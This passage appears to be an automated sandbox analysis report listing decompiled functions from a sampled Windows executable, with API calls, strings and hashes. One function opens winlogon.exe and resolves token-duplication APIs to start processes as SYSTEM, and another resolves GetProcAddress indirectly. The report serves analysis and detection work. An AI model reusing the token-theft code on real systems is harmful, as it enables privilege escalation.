Opcode ID: b1512c014bb39f996462de76d08949c278b93179518c0e0ab6201644cc20f86b
Instruction ID: 2715f163b7cd274c39606e2610d12bc00880993b2534c3bb77a56ee1366ffd0d
Opcode Fuzzy Hash: b1512c014bb39f996462de76d08949c278b93179518c0e0ab6201644cc20f86b
Instruction Fuzzy Hash: FD216D71900118FBDB20DB91CD48ADF7BBCEF44744F004176F608B6291D778AA84CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040620E, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0040620E(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, struct HWND__* _a8, WCHAR* _a12) {
				void _v8202;
				short _v8204;
				void* _t27;
				short _t29;
				short _t40;
				void* _t41;
				struct HMENU__* _t43;
				short _t50;
				void* _t52;
				struct HMENU__* _t59;

				E0040B550(0x2008, __ecx);
				_t65 = _a8 - 4;
				if(_a8 != 4) {
					__eflags = _a8 - 5;
					if(_a8 == 5) {
						_t50 =  *0x40fe2c; // 0x0
						__eflags = _t50;
						if(_t50 == 0) {
							L8:
							_push(_a12);
							_t27 = 5;
							E00405E8D(_t27);
							_t29 = CreateDialogParamW(_a4, _a12, 0, E00406209, 0);
							__eflags = _t29;
							_a8 = _t29;
							if(_t29 == 0) {
								_a8 = CreateDialogParamW(_a4, _a12, GetDesktopWindow(), E00406209, 0);
							}
							_v8204 = 0;
							memset( &_v8202, 0, 0x2000);
							GetWindowTextW(_a8,  &_v8204, 0x1000);
							__eflags = _v8204;
							if(__eflags != 0) {
								E00405FAC(__eflags, L"caption",  &_v8204, 0);
							}
							EnumChildWindows(_a8, E0040614F, 0);
							DestroyWindow(_a8);
						} else {
							while(1) {
								_t40 =  *_t50;
								__eflags = _t40;
								if(_t40 == 0) {
									goto L8;
								}
								__eflags = _t40 - _a12;
								if(_t40 != _a12) {
									_t50 = _t50 + 4;
									__eflags = _t50;
									continue;
								}
								goto L13;
							}
							goto L8;
						}
					}
				} else {
					_push(_a12);
					_t41 = 4;
					E00405E8D(_t41);
					_pop(_t52);
					_t43 = LoadMenuW(_a4, _a12);
					 *0x40fe20 =  *0x40fe20 & 0x00000000;
					_t59 = _t43;
					_push(1);
					_push(_t59);
					_push(_a12);
					E0040605E(_t52, _t65);
					DestroyMenu(_t59);
				}
				L13:
				return 1;
			}

APIs

LoadMenuW.USER32 ref: 00406236

Part of subcall function 0040605E: GetMenuItemCount.USER32 ref: 00406074
Part of subcall function 0040605E: memset.MSVCRT ref: 00406093
Part of subcall function 0040605E: GetMenuItemInfoW.USER32 ref: 004060CF
Part of subcall function 0040605E: wcschr.MSVCRT ref: 004060E7

DestroyMenu.USER32(00000000), ref: 00406254
CreateDialogParamW.USER32 ref: 004062A9
GetDesktopWindow.USER32 ref: 004062B4
CreateDialogParamW.USER32 ref: 004062C1
memset.MSVCRT ref: 004062DA
GetWindowTextW.USER32 ref: 004062F1
EnumChildWindows.USER32 ref: 0040631E
DestroyWindow.USER32(00000005), ref: 00406327

Part of subcall function 00405E8D: _snwprintf.MSVCRT ref: 00405EB2

Strings

caption, xrefs: 00406308

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$Window$CreateDestroyDialogItemParammemset$ChildCountDesktopEnumInfoLoadTextWindows_snwprintfwcschr
String ID: caption
API String ID: 973020956-4135340389
Opcode ID: f0dbf22cb8dfb05ce39814170fe8d0dcd326ef21813c42225809b1f658733472
Instruction ID: 5799234da4ec4704710f53c86087676007739614705d168b27d1301efcd7018e
Opcode Fuzzy Hash: f0dbf22cb8dfb05ce39814170fe8d0dcd326ef21813c42225809b1f658733472
Instruction Fuzzy Hash: D2316171900208FFEF11AF94DC859AF3B69FB04314F11847AF90AA51A1D7758964CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040920A, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040920A(wchar_t* __edi, wchar_t* __esi) {
				void _v526;
				long _v528;
				wchar_t* _t17;
				signed int _t40;
				wchar_t* _t50;

				_t50 = __edi;
				if(__esi[0] != 0x3a) {
					_t17 = wcschr( &(__esi[1]), 0x3a);
					if(_t17 == 0) {
						_t40 = E0040488D(__esi, L"\\systemroot");
						if(_t40 < 0) {
							if( *__esi != 0x5c) {
								wcscpy(__edi, __esi);
							} else {
								_v528 = 0;
								memset( &_v526, 0, 0x208);
								E00404C08( &_v528);
								memcpy(__edi,  &_v528, 4);
								__edi[1] = __edi[1] & 0x00000000;
								wcscat(__edi, __esi);
							}
						} else {
							_v528 = 0;
							memset( &_v526, 0, 0x208);
							E00404C08( &_v528);
							wcscpy(__edi,  &_v528);
							wcscat(__edi, __esi + 0x16 + _t40 * 2);
						}
						L11:
						return _t50;
					}
					_push( &(_t17[0]));
					L4:
					wcscpy(_t50, ??);
					goto L11;
				}
				_push(__esi);
				goto L4;
			}

APIs

wcschr.MSVCRT ref: 00409223
wcscpy.MSVCRT ref: 00409233

Part of subcall function 0040488D: wcslen.MSVCRT ref: 0040489C
Part of subcall function 0040488D: wcslen.MSVCRT ref: 004048A6
Part of subcall function 0040488D: _memicmp.MSVCRT ref: 004048C1

wcscpy.MSVCRT ref: 00409282
wcscat.MSVCRT ref: 0040928D
memset.MSVCRT ref: 00409269

Part of subcall function 00404C08: GetWindowsDirectoryW.KERNEL32(0041C4C0,00000104,?,004092C2,?,?,00000000,00000208,00000000), ref: 00404C1E
Part of subcall function 00404C08: wcscpy.MSVCRT ref: 00404C2E

memset.MSVCRT ref: 004092B1
memcpy.MSVCRT ref: 004092CC
wcscat.MSVCRT ref: 004092D8

Strings

\systemroot, xrefs: 00409240

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
String ID: \systemroot
API String ID: 4173585201-1821301763
Opcode ID: 60d3348394c7dd9062b0c25d43eb08d04abc05a8b491f8318e68017d15ed3876
Instruction ID: 02e88fdf4673b821ef0819f9ed59a437f9dc8f0c8d82ea34f2c30dfda84fedc2
Opcode Fuzzy Hash: 60d3348394c7dd9062b0c25d43eb08d04abc05a8b491f8318e68017d15ed3876
Instruction Fuzzy Hash: 0D2198A680530479E614F7A14C8ADAB73ACDF55714F2049BFB515B20C3EB3CA94447AE

Uniqueness

Uniqueness Score: -1.00%

Function 00409C70, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 63
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00409C70(signed int* _a4) {
				signed int _v8;
				_Unknown_base(*)()* _v12;
				char* _v16;
				int _v18;
				signed int _v20;
				char _v36;
				intOrPtr* _t21;
				struct HINSTANCE__* _t22;
				signed int _t23;
				signed int _t24;
				_Unknown_base(*)()* _t26;
				char* _t28;
				int _t31;

				_t21 = _a4;
				if( *_t21 == 0) {
					_t22 = GetModuleHandleW(L"kernel32.dll");
					_v8 = _t22;
					_t23 = GetProcAddress(_t22, "GetProcAddress");
					 *_a4 = _t23;
					_t24 = _t23 ^ _v8;
					if((_t24 & 0xfff00000) != 0) {
						_t26 = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "LdrGetProcedureAddress");
						_v20 = _v20 & 0x00000000;
						_v12 = _t26;
						asm("stosd");
						asm("stosw");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsw");
						_t28 =  &_v36;
						asm("movsb");
						_v16 = _t28;
						_v20 = strlen(_t28);
						_t31 = strlen( &_v36);
						_v18 = _t31;
						_t24 = _v12(_v8,  &_v20, 0, _a4);
					}
					return _t24;
				}
				return _t21;
			}

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409C90
GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00409CA2
GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409CB8
GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00409CC0
strlen.MSVCRT ref: 00409CE4
strlen.MSVCRT ref: 00409CF1

Strings

ntdll.dll, xrefs: 00409CB3
kernel32.dll, xrefs: 00409C8B
LdrGetProcedureAddress, xrefs: 00409CBA
GetProcAddress, xrefs: 00409C98, 00409C9D

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcstrlen
String ID: GetProcAddress$LdrGetProcedureAddress$kernel32.dll$ntdll.dll
API String ID: 1027343248-2054640941
Opcode ID: 2c8eeb2815ee5c5b2ea885c3a2d3967712a9a4d351cacca76f1b157eee6792fc
Instruction ID: e4d1d00a07c818a936495f608e4711dda3cd6d1ffd1a72fa6585e5ef64b3ff18
Opcode Fuzzy Hash: 2c8eeb2815ee5c5b2ea885c3a2d3967712a9a4d351cacca76f1b157eee6792fc
Instruction Fuzzy Hash: A311FE72910218EADB01EFE5DC45ADEBBB9EF48710F10446AE900B7250D7B5AA04CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401E44, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401E44(int _a4, int _a8, intOrPtr* _a12) {
				char _v8;
				void* _v12;
				void* __esi;
				void* _t18;
				intOrPtr* _t22;
				void* _t23;
				void* _t28;
				int _t37;
				intOrPtr* _t39;
				intOrPtr* _t40;

				_v8 = 0;
				_t18 = OpenProcess(0x2000000, 0, _a8);
				_v12 = _t18;
				if(_t18 == 0) {
					_t37 = GetLastError();
				} else {
					_t39 = _a4 + 0x800;
					_a8 = 0;
					E0040289F(_t39);
					_t22 =  *((intOrPtr*)(_t39 + 4));
					if(_t22 == 0) {
						_t23 = 0;
					} else {
						_t23 =  *_t22(_v12, 2,  &_a8);
					}
					if(_t23 == 0) {
						_t37 = GetLastError();
					} else {
						_a4 = _a8;
						E0040289F(_t39);
						_t40 =  *((intOrPtr*)(_t39 + 8));
						if(_t40 == 0) {
							_t28 = 0;
						} else {
							_t28 =  *_t40(_a4, 0x2000000, 0, 2, 1,  &_v8);
						}
						if(_t28 == 0) {
							_t37 = GetLastError();
						} else {
							 *_a12 = _v8;
							_t37 = 0;
						}
						CloseHandle(_a8);
					}
					CloseHandle(_v12);
				}
				return _t37;
			}

APIs

OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,winlogon.exe,?,00000000,winlogon.exe,00000000), ref: 00401E5C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401EF3

Part of subcall function 0040289F: LoadLibraryW.KERNEL32(advapi32.dll,?,00402271,?,?,00000000), ref: 004028AB
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 004028C0
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,CreateProcessWithTokenW), ref: 004028CD
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 004028D9
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,DuplicateTokenEx), ref: 004028E6

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401ECD
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401ED8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401EE0
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401EEB

Strings

winlogon.exe, xrefs: 00401E4B

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLast$CloseHandle$LibraryLoadOpenProcess
String ID: winlogon.exe
API String ID: 1315556178-961692650
Opcode ID: e4a5705fcdc82a33d7d09986f8f31284f2fb5d3fd113eab1cd0e790a40dcb407
Instruction ID: 37dd24dd8946aa7f8aa4240fd04c0d288f38f50501b3184a6b0aa07a3247aa85
Opcode Fuzzy Hash: e4a5705fcdc82a33d7d09986f8f31284f2fb5d3fd113eab1cd0e790a40dcb407
Instruction Fuzzy Hash: FB212932900114EFDB10AFA5CDC8AAE7BB5EB04350F14893AFE06F72A0D7749D41DA94

Uniqueness

Uniqueness Score: -1.00%

Function 00405236, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00405236(short* __ebx, intOrPtr _a4) {
				int _v8;
				char _v12;
				void _v2058;
				void _v2060;
				int _t35;
				int _t41;
				signed int _t48;
				signed int _t49;
				signed short* _t50;
				void** _t52;
				void* _t53;
				void* _t54;

				_t48 = 0;
				_v2060 = 0;
				memset( &_v2058, 0, 0x7fe);
				_t54 = _t53 + 0xc;
				 *__ebx = 0;
				_t52 = _a4 + 4;
				_v12 = 2;
				do {
					_push( *_t52);
					_t6 = _t52 - 4; // 0xe80040cb
					_push( *_t6);
					_push(L"%s (%s)");
					_push(0x400);
					_push( &_v2060);
					L0040B1EC();
					_t35 = wcslen( &_v2060);
					_v8 = _t35;
					memcpy(__ebx + _t48 * 2,  &_v2060, _t35 + _t35 + 2);
					_t49 = _t48 + _v8 + 1;
					_t41 = wcslen( *_t52);
					_v8 = _t41;
					memcpy(__ebx + _t49 * 2,  *_t52, _t41 + _t41 + 2);
					_t54 = _t54 + 0x34;
					_t52 =  &(_t52[2]);
					_t23 =  &_v12;
					 *_t23 = _v12 - 1;
					_t48 = _t49 + _v8 + 1;
				} while ( *_t23 != 0);
				_t50 = __ebx + _t48 * 2;
				 *_t50 =  *_t50 & 0x00000000;
				_t50[1] = _t50[1] & 0x00000000;
				return __ebx;
			}

APIs

memset.MSVCRT ref: 00405257
_snwprintf.MSVCRT ref: 00405285
wcslen.MSVCRT ref: 00405291
memcpy.MSVCRT ref: 004052A9
wcslen.MSVCRT ref: 004052B7
memcpy.MSVCRT ref: 004052CA

Strings

%s (%s), xrefs: 0040527A

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpywcslen$_snwprintfmemset
String ID: %s (%s)
API String ID: 3979103747-1363028141
Opcode ID: 78317d02bfcb08935322c08fe3645b21644df8c2b86268209298db670e7b3c37
Instruction ID: 65e1e814fa0bf8ea8ab085bd6ee3311c73c19872bc06834ae6b579d31858dd7b
Opcode Fuzzy Hash: 78317d02bfcb08935322c08fe3645b21644df8c2b86268209298db670e7b3c37
Instruction Fuzzy Hash: C411517280020DEBCF21DF94CC49D8BB7B8FF44308F1144BAE944A7152EB74A6588BD8

Uniqueness

Uniqueness Score: -1.00%

Function 00407639, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00407639(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void _v68;
				char _v108;
				void _v160;
				void* __esi;
				signed int _t55;
				void* _t57;
				wchar_t* _t67;
				intOrPtr* _t73;
				signed int _t74;
				signed int _t86;
				signed int _t95;
				intOrPtr* _t98;
				void* _t100;
				void* _t102;

				_t73 = __ebx;
				_t74 = 0xd;
				_push(9);
				memcpy( &_v160, L"<td bgcolor=#%s nowrap>%s", _t74 << 2);
				memcpy( &_v68, L"<td bgcolor=#%s>%s", 0 << 2);
				_t102 = _t100 + 0x18;
				asm("movsw");
				E00407343(__ebx, _a4, L"<tr>");
				_t95 = 0;
				if( *((intOrPtr*)(__ebx + 0x2c)) > 0) {
					do {
						_t55 =  *( *((intOrPtr*)(_t73 + 0x30)) + _t95 * 4);
						_v8 = _t55;
						_t57 =  &_v160;
						if( *((intOrPtr*)(_t55 * 0x14 +  *((intOrPtr*)(_t73 + 0x40)) + 8)) == 0) {
							_t57 =  &_v68;
						}
						_t98 = _a8;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _v20 | 0xffffffff;
						_v16 = _v16 & 0x00000000;
						_v12 = _t57;
						 *((intOrPtr*)( *_t73 + 0x34))(5, _t95, _t98,  &_v28);
						E0040ADC0(_v28,  &_v108);
						E0040ADF1( *((intOrPtr*)( *_t98))(_v8,  *((intOrPtr*)(_t73 + 0x60))),  *(_t73 + 0x64));
						 *((intOrPtr*)( *_t73 + 0x50))( *(_t73 + 0x64), _t98, _v8);
						_t67 =  *(_t73 + 0x64);
						_t86 =  *_t67 & 0x0000ffff;
						if(_t86 == 0 || _t86 == 0x20) {
							wcscat(_t67, L"&nbsp;");
						}
						E0040AE90( &_v28,  *((intOrPtr*)(_t73 + 0x68)),  *(_t73 + 0x64));
						_push( *((intOrPtr*)(_t73 + 0x68)));
						_push( &_v108);
						_push(_v12);
						_push(0x2000);
						_push( *((intOrPtr*)(_t73 + 0x60)));
						L0040B1EC();
						_t102 = _t102 + 0x1c;
						E00407343(_t73, _a4,  *((intOrPtr*)(_t73 + 0x60)));
						_t95 = _t95 + 1;
					} while (_t95 <  *((intOrPtr*)(_t73 + 0x2c)));
				}
				return E00407343(_t73, _a4, L"\r\n");
			}

APIs

wcscat.MSVCRT ref: 00407708
_snwprintf.MSVCRT ref: 0040772F

Strings

<td bgcolor=#%s>%s, xrefs: 00407657
<td bgcolor=#%s nowrap>%s, xrefs: 00407649
<tr>, xrefs: 00407661
 , xrefs: 00407702

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfwcscat
String ID:  $<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
API String ID: 384018552-4153097237
Opcode ID: 95fb47b0eb5c6bd29b2c4fa7ee5083eabdad1f03c3a152d85f26f239cd8b3326
Instruction ID: d8c40f1c932df66c49e6576a1425660ae0ae50b86724cae367092fb81a03718d
Opcode Fuzzy Hash: 95fb47b0eb5c6bd29b2c4fa7ee5083eabdad1f03c3a152d85f26f239cd8b3326
Instruction Fuzzy Hash: 75318C31A00209EFDF14AF55CC86AAA7B76FF04320F1001AAF905BB2D2D735AA51DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040605E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E0040605E(void* __ecx, void* __eflags, intOrPtr _a4, struct HMENU__* _a8, intOrPtr _a12, int _a16, intOrPtr _a20, wchar_t* _a36, intOrPtr _a40, long _a48, void _a50) {
				struct tagMENUITEMINFOW _v0;
				int _t24;
				wchar_t* _t30;
				intOrPtr _t32;
				int _t34;
				int _t42;
				signed int _t47;
				signed int _t48;

				_t36 = __ecx;
				_t48 = _t47 & 0xfffffff8;
				E0040B550(0x203c, __ecx);
				_t24 = GetMenuItemCount(_a8);
				_t34 = _t24;
				_t42 = 0;
				if(_t34 <= 0) {
					L13:
					return _t24;
				} else {
					goto L1;
				}
				do {
					L1:
					memset( &_a50, 0, 0x2000);
					_t48 = _t48 + 0xc;
					_a36 =  &_a48;
					_v0.cbSize = 0x30;
					_a4 = 0x36;
					_a40 = 0x1000;
					_a16 = 0;
					_a48 = 0;
					_t24 = GetMenuItemInfoW(_a8, _t42, 1,  &_v0);
					if(_t24 == 0) {
						goto L12;
					}
					if(_a48 == 0) {
						L10:
						_t56 = _a20;
						if(_a20 != 0) {
							_push(0);
							_push(_a20);
							_push(_a4);
							_t24 = E0040605E(_t36, _t56);
							_t48 = _t48 + 0xc;
						}
						goto L12;
					}
					_t30 = wcschr( &_a48, 9);
					if(_t30 != 0) {
						 *_t30 = 0;
					}
					_t31 = _a16;
					if(_a20 != 0) {
						if(_a12 == 0) {
							 *0x40fe20 =  *0x40fe20 + 1;
							_t32 =  *0x40fe20; // 0x0
							_t31 = _t32 + 0x11558;
							__eflags = _t32 + 0x11558;
						} else {
							_t17 = _t42 + 0x11171; // 0x11171
							_t31 = _t17;
						}
					}
					_t24 = E00406025(_t31,  &_a48);
					_pop(_t36);
					goto L10;
					L12:
					_t42 = _t42 + 1;
				} while (_t42 < _t34);
				goto L13;
			}

APIs

GetMenuItemCount.USER32 ref: 00406074
memset.MSVCRT ref: 00406093
GetMenuItemInfoW.USER32 ref: 004060CF
wcschr.MSVCRT ref: 004060E7

Strings

0, xrefs: 004060AE
6, xrefs: 004060B6

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemMenu$CountInfomemsetwcschr
String ID: 0$6
API String ID: 2029023288-3849865405
Opcode ID: c92d9e803ec22cf5b140ab292b4c2ab892016db16de87d00b51606d693616624
Instruction ID: 45aed224341beddc1f9b42311d86e3f1d1daa84a2c492251b1da63e2972132ba
Opcode Fuzzy Hash: c92d9e803ec22cf5b140ab292b4c2ab892016db16de87d00b51606d693616624
Instruction Fuzzy Hash: 7521F132504304ABC720DF45D84599FB7E8FB85754F000A3FF685A62D1E776C950CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0040467A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040467A(void* __edi) {
				signed int _v8;
				void* _v12;
				void* _v16;
				void _v2062;
				short _v2064;
				int _t16;

				_v8 = _v8 & 0x00000000;
				_t16 = E004043F8( &_v12, 0x20019);
				if(_t16 == 0) {
					_v2064 = _v2064 & _t16;
					memset( &_v2062, _t16, 0x7fe);
					_push(__edi + 0x20a);
					_push(L"%s\\shell\\%s");
					_push(0x3ff);
					_push( &_v2064);
					L0040B1EC();
					if(RegOpenKeyExW(_v12,  &_v2064, 0, 0x20019,  &_v16) == 0) {
						_v8 = 1;
						RegCloseKey(_v16);
					}
				}
				return _v8;
			}

0x00404683
0x00404692
0x00404699
0x0040469b
0x004046af
0x004046ba
0x004046bc
0x004046c7
0x004046cc
0x004046cd
0x004046ee
0x004046f3
0x004046fa
0x004046fa
0x004046ee
0x00404705

APIs

memset.MSVCRT ref: 004046AF
_snwprintf.MSVCRT ref: 004046CD
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,00020019), ref: 004046E6
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00020019), ref: 004046FA

Strings

%s\shell\%s, xrefs: 004046BC

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpen_snwprintfmemset
String ID: %s\shell\%s
API String ID: 1458959524-3196117466
Opcode ID: dd937bb9006710e66f977af40412b0b6fd133ebddff1bc1205fab9b1dc2b10fe
Instruction ID: 1855bd24da60c853c30f7b3e18bb60aca338c900c60696cbbcdbf1fba26ecf92
Opcode Fuzzy Hash: dd937bb9006710e66f977af40412b0b6fd133ebddff1bc1205fab9b1dc2b10fe
Instruction Fuzzy Hash: 20011EB5D00218FADB109BD1DD45FDAB7BCEF44314F0041B6AA04F2181EB749B489BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00403A73, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
keyboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403A73(void* __esi, struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t14;

				if(_a8 == 0x100 && _a12 == 0x41) {
					GetKeyState(0xa2);
					if(E00403A60(0xa2) != 0 || E00403A60(0xa3) != 0) {
						if(E00403A60(0xa0) == 0 && E00403A60(0xa1) == 0 && E00403A60(0xa4) == 0) {
							_t14 = E00403A60(0xa5);
							if(_t14 == 0) {
								SendMessageW(_a4, 0xb1, _t14, 0xffffffff);
							}
						}
					}
				}
				return CallWindowProcW( *0x40f2f0, _a4, _a8, _a12, _a16);
			}

0x00403a7d
0x00403a8c
0x00403a9c
0x00403aba
0x00403adf
0x00403ae7
0x00403af4
0x00403af4
0x00403ae7
0x00403aba
0x00403a9c
0x00403b13

APIs

GetKeyState.USER32(000000A2), ref: 00403A8C

Part of subcall function 00403A60: GetKeyState.USER32(?), ref: 00403A64

SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00403AF4
CallWindowProcW.USER32(?,00000100,?,?), ref: 00403B0C

Strings

A, xrefs: 00403A7F

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: State$CallMessageProcSendWindow
String ID: A
API String ID: 3924021322-3554254475
Opcode ID: 7a91954c753d57b62ada695ad1095f0bf88fde31d04a203a00175be824b18610
Instruction ID: 3f4bab65c8f2f559ff61c6136e8e970ba349fdfc906a465d58382778652fa82c
Opcode Fuzzy Hash: 7a91954c753d57b62ada695ad1095f0bf88fde31d04a203a00175be824b18610
Instruction Fuzzy Hash: AC01483130430AAEFF11DFE59D02ADA3A5CAF15327F114036FA96B81D1DBB887506E59

Uniqueness

Uniqueness Score: -1.00%

Function 00407E24, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00407E24(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				signed short _v516;
				void _v1026;
				signed short _v1028;
				void* __esi;
				void* _t17;
				intOrPtr* _t26;
				signed short* _t28;

				_v516 = _v516 & 0x00000000;
				_t26 = __ecx;
				memset( &_v514, 0, 0x1fc);
				_v1028 = _v1028 & 0x00000000;
				memset( &_v1026, 0, 0x1fc);
				_t17 =  *((intOrPtr*)( *_t26 + 0x24))();
				_t28 =  &_v516;
				E00407250(_t28, _t17);
				_push(_t28);
				_push(L"</%s>\r\n");
				_push(0xff);
				_push( &_v1028);
				L0040B1EC();
				return E00407343(_t26, _a4,  &_v1028);
			}

0x00407e2d
0x00407e46
0x00407e48
0x00407e4d
0x00407e5f
0x00407e6b
0x00407e6f
0x00407e75
0x00407e7c
0x00407e7d
0x00407e88
0x00407e8d
0x00407e8e
0x00407eaa

APIs

memset.MSVCRT ref: 00407E48
memset.MSVCRT ref: 00407E5F

Part of subcall function 00407250: wcscpy.MSVCRT ref: 00407255
Part of subcall function 00407250: _wcslwr.MSVCRT ref: 00407288

_snwprintf.MSVCRT ref: 00407E8E

Strings

</%s>, xrefs: 00407E7D

Memory Dump Source

